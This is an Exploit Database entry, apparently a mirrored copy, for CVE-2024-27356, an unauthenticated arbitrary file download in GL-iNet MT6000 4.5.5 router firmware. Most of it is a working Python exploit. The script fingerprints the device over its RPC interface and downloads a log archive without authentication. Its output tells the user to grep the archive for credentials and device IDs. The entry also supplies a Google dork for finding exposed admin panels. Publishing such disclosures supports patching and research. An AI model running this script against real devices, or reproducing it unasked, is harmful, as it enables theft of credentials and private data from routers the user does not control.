GL-iNet MT6000 4.5.5 – Arbitrary File Download

Exploit Database
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作者： Bandar Alharbi

日期： 2024-04-02
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/51942/

# Exploit Title: GL-iNet MT6000 4.5.5 - Arbitrary File Download

# CVE: CVE-2024-27356

# Google Dork: intitle:"GL.iNet Admin Panel"

# Date: 2/26/2024

# Exploit Author: Bandar Alharbi (aggressor)

# Vendor Homepage: www.gl-inet.com

# Tested Software Link: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0406release1-0123-1705996441.bin

# Tested Model: GL-X3000 Spitz AX

# Affected Products and Firmware Versions: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Download_file_vulnerability.md

import sys

import requests

import json

requests.packages.urllib3.disable_warnings()

h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (compatible;contxbot/1.0)'}

def DoesTarExist():

r = requests.get(url+"/js/logread.tar", verify=False, timeout=30, headers=h)

if r.status_code == 200:

f = open("logread.tar", "wb")

f.write(r.content)

f.close()

print("[*] Full logs archive <code>logread.tar</code> has been downloaded!")

print("[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!")

return True

else:

print("[*] The <code>logread.tar</code> archive does not exist however ... try again later!")

return False

def isVulnerable():

r1 = requests.post(url+"/rpc", verify=False, timeout=30, headers=h)

if r1.status_code == 500 and "nginx" in r1.text:

r2 = requests.get(url+"/views/gl-sdk4-ui-login.common.js", verify=False, timeout=30, headers=h)

if"Admin-Token" in r2.text:

j= {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}

r3 = requests.post(url+"/rpc", verify=False, json=j, timeout=30, headers=h)

ver = r3.json()['result']['firmware_version']

model = r3.json()['result']['model']

if ver.startswith(('4.')):

print("[*] Firmware version (%s) is vulnerable!" %ver)

print("[*] Device model is: %s" %model)

return True

print("[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!")

return False

def isAlive():

try:

r = requests.get(url, verify=False, timeout=30, headers=h)

if r.status_code != 200:

print("[*] Make sure the target's web interface is accessible!")

return False

elif r.status_code == 200:

print("[*] The target is reachable!")

return True

except Exception:

print("[*] Error occurred when connecting to the target!")

pass

return False

if __name__ == '__main__':

if len(sys.argv) != 2:

print("exploit.py url")

sys.exit(0)

url = sys.argv[1]

url = url.lower()

if not url.startswith(('http://', 'https://')):

print("[*] Invalid url format! It should be http[s]://<domain or ip>")

sys.exit(0)

if url.endswith("/"):

url = url.rstrip("/")

print("[*] GL.iNet Unauthenticated Full Logs Downloader")

try:

if (isAlive() and isVulnerable()) == (True and True):

DoesTarExist()

except KeyboardInterrupt:

print("[*] The exploit has been stopped by the user!")

sys.exit(0)